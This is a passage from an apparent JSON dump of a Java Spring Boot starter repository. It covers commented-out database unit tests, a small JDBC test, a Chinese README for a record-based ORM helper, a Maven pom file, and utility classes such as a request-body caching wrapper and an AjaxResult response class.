result = Db.use(main).queryBoolean(\"sql\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testQueryShort() throws Exception {\n//        Short result = Db.use(main).queryShort(\"sql\", \"paras\");\n//        Assert.assertEquals(Short.valueOf((short) 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryShort2() throws Exception {\n//        Short result = Db.use(main).queryShort(\"sql\");\n//        Assert.assertEquals(Short.valueOf((short) 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryByte() throws Exception {\n//        Byte result = Db.use(main).queryByte(\"sql\", \"paras\");\n//        Assert.assertEquals(Byte.valueOf(\"00110\"), result);\n//    }\n//\n//    @Test\n//    public void testQueryByte2() throws Exception {\n//        Byte result = Db.use(main).queryByte(\"sql\");\n//        Assert.assertEquals(Byte.valueOf(\"00110\"), result);\n//    }\n//\n//    @Test\n//    public void testQueryNumber() throws Exception {\n//        Number result = Db.use(main).queryNumber(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryNumber2() throws Exception {\n//        Number result = Db.use(main).queryNumber(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testFind() throws Exception {\n//        List<Record> result = Db.use(main).find(\"sql\", \"paras\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFind2() throws Exception {\n//        List<Record> result = Db.use(main).find(\"sql\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFindMaps() throws Exception {\n//        List<Map> result = Db.use(main).findMaps(\"sql\");\n//        Assert.assertEquals(Arrays.<Map>asList(new HashMap() {{\n//            put(\"String\", \"String\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testFindObjs() throws Exception {\n//        List<T> result = Db.use(main).findObjs(null, \"sql\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testFindAll() throws Exception {\n//        when(dialect.forFindAll(anyString())).thenReturn(\"forFindAllResponse\");\n//\n//        List<Record> result = Db.use(main).findAll(\"tableName\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFindFirst() throws Exception {\n//        Record result = Db.use(main).findFirst(\"sql\", \"paras\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindFirst2() throws Exception {\n//        Record result = Db.use(main).findFirst(\"sql\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindById() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//        when(dialect.getDefaultPrimaryKey()).thenReturn(\"getDefaultPrimaryKeyResponse\");\n//\n//        Record result = Db.use(main).findById(\"tableName\", \"idValue\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindById2() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        Record result = Db.use(main).findById(\"tableName\", \"primaryKey\", \"idValue\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindByIds() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        Record result = Db.use(main).findByIds(\"tableName\", \"primaryKey\", \"idValues\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testDeleteById2() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//        when(dialect.getDefaultPrimaryKey()).thenReturn(\"getDefaultPrimaryKeyResponse\");\n//\n//        boolean result = Db.use(main).deleteById(\"tableName\", \"idValue\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDeleteByPrimaryKey() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).deleteByPrimaryKey(\"tableName\", \"idValue\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDeleteById3() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).deleteById(\"tableName\", \"primaryKey\", \"idValue\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDeleteByIds() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).deleteByIds(\"tableName\", \"primaryKey\", \"idValues\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDelete() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).delete(\"tableName\", \"primaryKey\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDelete2() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).delete(\"tableName\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDelete3() throws Exception {\n//        int result = Db.use(main).delete(\"sql\", \"paras\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testDelete4() throws Exception {\n//        int result = Db.use(main).delete(\"sql\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testPaginate2() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).paginate(0, 0, \"select\", \"sqlExceptSelect\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginate3() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).paginate(0, 0, true, \"select\", \"sqlExceptSelect\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testDoPaginate() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).doPaginate(0, 0, Boolean.TRUE, \"select\", \"sqlExceptSelect\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testDoPaginateByFullSql() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).doPaginateByFullSql(0, 0, Boolean.TRUE, \"totalRowSql\", null, \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginate4() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).paginate(0, 0, \"select\", \"sqlExceptSelect\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testDoPaginateByFullSql2() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).doPaginateByFullSql(0, 0, Boolean.TRUE, \"totalRowSql\", \"findSql\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginateByFullSql() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).paginateByFullSql(0, 0, \"totalRowSql\", \"findSql\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginateByFullSql2() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).paginateByFullSql(0, 0, true, \"totalRowSql\", \"findSql\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testSave() throws Exception {\n//        boolean result = Db.use(main).save(\"tableName\", \"primaryKey\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testSave2() throws Exception {\n//        boolean result = Db.use(main).save(\"tableName\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testUpdate3() throws Exception {\n//        boolean result = Db.use(main).update(\"tableName\", \"primaryKey\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testUpdate4() throws Exception {\n//        boolean result = Db.use(main).update(\"tableName\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/io/github/wujun728/db/test/DruidPageSqlTest.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.test;\n\nimport com.alibaba.druid.DbType;\nimport com.alibaba.druid.sql.PagerUtils;\n\n/**\n * druid 测试\n */\npublic class DruidPageSqlTest {\n\n\tpublic static void main(String[] args) {\n\t\tString sql = \"select * from xxx where 1=2 order by xx\";\n\t\tString sqlCount = PagerUtils.count(sql, DbType.mysql);\n\t\tSystem.out.println(sqlCount);\n\t\tString limit = PagerUtils.limit(sql, DbType.mysql, 2, 20);\n\t\tSystem.out.println(limit);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/io/github/wujun728/db/test/TestDb.java",
    "content": "package io.github.wujun728.db.test;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.jfinal.plugin.activerecord.Db;\nimport com.jfinal.plugin.activerecord.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\n\nimport javax.sql.DataSource;\n\nimport static io.github.wujun728.db.utils.DataSourcePool.main;\n\n\npublic class TestDb {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n        //Db.init(main,ds);\n        RecordUtil.init(main,ds);\n        Record record = Db.use().findById(\"biz_mail\",2);\n        Record record2 = Db.use().findById(\"api_sql\",\"id,sql_id\",\"getBizTests\");\n    }\n\n\n    public static void main1(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        //registerRecord(\"db_qixing_bk\");\n        RecordUtil.init(main,dataSource);\n        //查询数据并返回单条Record\n        Record record = Db.use().findById(\"biz_mail\",new Object[]{2,\"getBizTests\"});\n//        record.set()\n        StaticLog.info(JSONUtil.toJsonPrettyStr(record));\n\n//        List data1 = Db.use(main).queryAll(ApiSql.class);\n//\n//        //查询数据并转为Bean清单\n//        List<ApiSql> data2 = Db.queryForBeanList(\" SELECT * FROM api_sql \", ApiSql.class,null);\n//\n//        Page<Record> data3 = Db.paginate(1,10,\" SELECT * \",\" FROM api_sql \");\n//        StaticLog.info(JSONUtil.toJsonPrettyStr(data3));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/io/github/wujun728/db/test/User.java",
    "content": "package io.github.wujun728.db.test;\n\nimport lombok.Data;\n\n@Data\npublic class User {\n\n\tprivate Long id;\n\tprivate String name;\n\tprivate String abcTest;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/README.md",
    "content": "### 0.说明\n1、强制启动会报错，本模块含有userService的FeignClient，启动的时候需要Mock userService接口Bean注入Spring容器，具体见示例项目\n\n### db.record\n通过 record(map)的方式操作表数据,似orm非orm,半对像操作\n本类库基于jfinal V1.9 改造\n\n### maven 使用\n```\n<dependency>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun-commmon</artifactId>\n    <version>${jun.version}</version>\n</dependency>\n```\n\n### 示例\n\n##### 1.neizhi\n```\n{\n    \"columns\": {\n        \"column\": [\n            \"appId\",\n            \"name as XINGMING\",\n            \"case when password is null then 'null' else '******' end as passwd\"\n        ]\n    },\n    \"wheres\": {\n        \"name\": \"测试0913-111122222222444\",\n        \"password@>=\": \"123456\",\n        \"phone@like\": \"13111111111\",\n        \"profile@like\": \"%null\",\n        \"roleId@in\": [\n            1,\n            2,\n            3\n        ],\n        \"b\": \"普通用户666\",\n        \"appId\": 100001\n    },\n    \"orders\": [\n        \"name@desc\",\n        \"password@sac\"\n    ]\n}\n```\n\n##### 1.初始化Db\n```\n//初始化数据连接\nDb.init(\"jdbc:mysql://host:port/test?characterEncoding=utf-8&autoReconnect=true&autoReconnectForPools=true&serverTimezone=GMT%2B8\",\"root\", \"xxx\");\n//打印sql日志\nDb.use().setShowSql(true);\n```\n\n##### 2.查询数据\n```\n//简单查询\nList<Record> baskets = Db.find(\"select * from biz_test\");\nfor (Record record : baskets) {\n\tSystem.out.println(record.getStr(\"id\"));\n\tSystem.out.println(record.toJson());\n}\n\n//根据id查询\nRecord record = Db.findById(\"biz_test\", \"001\")\n\n//查询首条数据\nDb.findFirst(\"select * from biz_test where id = ?\", \"001\")\n\n//分页查询 count参数决定是否统计总行数\nPage<Record> p = Db.paginate(1, 2, \"select * from biz_test where id>?\", false, \"1000\");\np.getList();\np.getPageNumber();\np.getPageSize();\np.getTotalPage();\np.getTotalRow();\n```\n\n##### 3.新增\n```\nRecord r = new Record();\nr.set(\"id\", \"ddddd\");\nDb.save(\"biz_test\", r);\n```\n\n##### 4.更新\n```\nRecord r = new Record();\nr.set(\"id\", \"ddddd\");\nDb.update(\"biz_test\", r);\n//主键名称非id\n//Db.update(\"biz_test\", \"id\", r);\n```\n\n##### 4.删除\n```\nDb.deleteById(\"biz_test\", \"001\");\n//Db.update(\"delete from biz_test\");\n```\n\n##### 5.事务\n```\nDb.tx(new TransactionWrap() {\n\t\t@Override\n\t\tpublic boolean run() throws SQLException {\n\t\t\ttry {\n\t\t\t\tRecord r = new Record();\n\t\t\t\tr.set(\"id\", \"ddddd\");\n\t\t\t\tDb.save(\"biz_test\", r);\n\t\t\t\t\n\t\t\t\tr.set(\"id\", \"ddddd\");\n\t\t\t\tr.set(\"remarks\", \"remarks\");\n\t\t\t\tDb.update(\"biz_test\", \"id\", r);\n\t\t\t} catch (Exception e) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t});\n```\n\n##### 6.多数据源\n```\nDb.init(\"jdbc:mysql://host:port/test?characterEncoding=utf-8&autoReconnect=true&autoReconnectForPools=true&serverTimezone=GMT%2B8\",\"root\", \"xxx\");\nDb.initAlias(\"toDb\",\"jdbc:mysql://xxx:3306/platform_dress_base?characterEncoding=utf-8&autoReconnect=true&autoReconnectForPools=true&serverTimezone=GMT%2B8\",\"user\",\"password\")\n\n//使用 Db.use 切换数据源\nDb.use().find();//默认数据源\nDb.use(\"toDb\").find();//指定数据源\n```\n\n\n##### 6.多数据源"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <!--<parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springboot_starter</artifactId>\n        <version>1.0.25</version>\n    </parent>-->\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-common-base</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <name>jun-common-base</name>\n    <description>jun-common-base共通用组件，基础功能及工具类</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-common-base</url>\n\t\n\t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\t\n    <dependencies>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.20</version>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.baomidou</groupId>\n\t\t\t<artifactId>mybatis-plus-annotation</artifactId>\n\t\t\t<version>3.5.7</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n            <version>4.0.1</version>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.18.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.14.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-fileupload</groupId>\n\t\t\t<artifactId>commons-fileupload</artifactId>\n\t\t\t<version>1.6.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n\t\t\t<version>5.8.40</version>\n\t\t</dependency>\n\t\t<!--<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t</dependency>-->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba.fastjson2</groupId>\n\t\t\t<artifactId>fastjson2</artifactId>\n            <version>2.0.57</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.2.19</version>\n\t\t</dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-annotations</artifactId>\n            <version>2.20</version>\n            <scope>compile</scope>\n        </dependency>\n    </dependencies>\n\t\n\t<developers>\n\t\t<developer>\n\t\t\t<name>wujun728</name>\n\t\t\t<email>wujun728@163.com</email>\n\t\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-common-base</url>\n\t\t</developer>\n\t</developers>\n\n\t<scm>\n\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-common-base.git</url>\n\t\t<connection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-common-base.git</connection>\n\t\t<developerConnection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-common-base.git</developerConnection>\n\t</scm>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>The Apache Software License, Version 2.0</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t\t<distribution>repo</distribution>\n\t\t</license>\n\t</licenses>\n\n\t<!--  -->\n    <distributionManagement>\n\t\t<snapshotRepository>\n\t\t\t<id>snapshots</id>\n\t\t\t<url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n\t\t</snapshotRepository>\n\t\t<repository>\n\t\t\t<id>release</id>\n\t\t\t<url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n\t\t</repository>\n\t</distributionManagement>\n    <!--<distributionManagement>\n        <snapshotRepository>\n            <id>nexus-releases</id>\n            <url>https://nexus.billjc.com/repository/maven-releases/</url>\n        </snapshotRepository>\n        <repository>\n            <id>nexus-releases</id>\n            <url>https://nexus.billjc.com/repository/maven-releases/</url>\n        </repository>\n    </distributionManagement>-->\n\n\t<build>\n\t\t<plugins>\n\t\t\t<!-- Source -->\n\t\t\t<!----><plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n                <version>3.2.1</version>\n\t\t\t</plugin>\n\t\t\t<!-- Javadoc -->\n\t\t\t<!--<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t<version>2.9.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<show>private</show>\n\t\t\t\t\t<nohelp>true</nohelp>\n\t\t\t\t\t<charset>UTF-8</charset>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t<docencoding>UTF-8</docencoding>\n\t\t\t\t\t<additionalparam>-Xdoclint:none</additionalparam>\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>-->\n\t\t\t<!-- GPG --><!--\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t<version>1.6</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n            -->\n\t\t\t<!--Compiler -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<fork>true</fork>\n\t\t\t\t\t<verbose>true</verbose>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!--Release -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t\t\t<version>2.5.1</version>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/BodyCacheHttpServletRequestWrapper.java",
    "content": "package io.github.wujun728.common;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport org.apache.commons.io.IOUtils;\n\nimport javax.servlet.ReadListener;\nimport javax.servlet.ServletInputStream;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletRequestWrapper;\nimport java.io.*;\n\n/**\n * QQ交流群：391619659\n *\n * @author Levin\n * @since 2018-12-17\n */\npublic class BodyCacheHttpServletRequestWrapper extends HttpServletRequestWrapper {\n\n    private final static byte[] DEFAULT_BYTE = new byte[0];\n    private byte[] body;\n    private ServletInputStreamWrapper inputStreamWrapper;\n\n    BodyCacheHttpServletRequestWrapper(HttpServletRequest request) throws IOException {\n        super(request);\n        this.body = IOUtils.toByteArray(request.getInputStream());\n        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.body != null ? this.body : DEFAULT_BYTE);\n        // 初始 ServletInputStreamWrapper\n        this.inputStreamWrapper = new ServletInputStreamWrapper(byteArrayInputStream);\n        // 设置 InputStream 到我们自己的包装类中\n        this.inputStreamWrapper.setInputStream(byteArrayInputStream);\n    }\n\n\n    public byte[] getBody() {\n        return body;\n    }\n\n    @Override\n    public ServletInputStream getInputStream() throws IOException {\n        return this.inputStreamWrapper;\n    }\n\n    @Override\n    public BufferedReader getReader() throws IOException {\n        return new BufferedReader(new InputStreamReader(this.inputStreamWrapper));\n    }\n\n\n    @EqualsAndHashCode(callSuper = true)\n    @Data\n    @AllArgsConstructor\n    private static class ServletInputStreamWrapper extends ServletInputStream {\n\n        private InputStream inputStream;\n\n        @Override\n        public boolean isFinished() {\n            return true;\n        }\n\n        @Override\n        public boolean isReady() {\n            return false;\n        }\n\n        @Override\n        public void setReadListener(ReadListener readListener) {\n\n        }\n\n        @Override\n        public int read() throws IOException {\n            return this.inputStream.read();\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/base/AjaxResult.java",
    "content": "package io.github.wujun728.common.base;\n\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport io.github.wujun728.common.constant.HttpStatus;\n\n\nimport java.util.HashMap;\n\n/**\n * 操作消息提醒\n *\n * @author ruoyi\n */\npublic class AjaxResult extends HashMap<String, Object>\n{\n    private static final long serialVersionUID = 1L;\n\n    /** 状态码 */\n    public static final String CODE_TAG = \"code\";\n\n    /** 返回内容 */\n    public static final String MSG_TAG = \"msg\";\n\n    /** 数据对象 */\n    public static final String DATA_TAG = \"data\";\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象，使其表示一个空消息。\n     */\n    public AjaxResult()\n    {\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     *\n     * @param code 状态码\n     * @param msg 返回内容\n     */\n    public AjaxResult(int code, String msg)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     *\n     * @param code 状态码\n     * @param msg 返回内容\n     * @param data 数据对象\n     */\n    public AjaxResult(int code, String msg, Object data)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n        if (ObjectUtil.isNotNull(data))\n        {\n            super.put(DATA_TAG, data);\n        }\n    }\n\n    /**\n     * 返回成功消息\n     *\n     * @return 成功消息\n     */\n    public static AjaxResult success()\n    {\n        return AjaxResult.success(\"操作成功\");\n    }\n\n    /**\n     * 返回成功数据\n     *\n     * @return 成功消息\n     */\n    public static AjaxResult success(Object data)\n    {\n        return AjaxResult.success(\"操作成功\", data);\n    }\n\n    /**\n     * 返回成功消息\n     *\n     * @param msg 返回内容\n     * @return 成功消息\n     */\n    public static AjaxResult success(String msg)\n    {\n        return AjaxResult.success(msg, null);\n    }\n\n    /**\n     * 返回成功消息\n     *\n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 成功消息\n     */\n    public static AjaxResult success(String msg, Object data)\n    {\n        return new AjaxResult(HttpStatus.SUCCESS, msg, data);\n    }\n\n    /**\n     * 返回警告消息\n     *\n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static AjaxResult warn(String msg)\n    {\n        return AjaxResult.warn(msg, null);\n    }\n\n    /**\n     * 返回警告消息\n     *\n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 警告消息\n     */\n    public static AjaxResult warn(String msg, Object data)\n    {\n        return new AjaxResult(HttpStatus.WARN, msg, data);\n    }\n\n    /**\n     * 返回错误消息\n     *\n     * @return 错误消息\n     */\n    public static AjaxResult error()\n    {\n        return AjaxResult.error(\"操作失败\");\n    }\n\n    /**\n     * 返回错误消息\n     *\n     * @param msg 返回内容\n     * @return 错误消息\n     */\n    public static AjaxResult error(String msg)\n    {\n        return AjaxResult.error(msg, null);\n    }\n\n    /**\n     * 返回错误消息\n     *\n     * @param msg 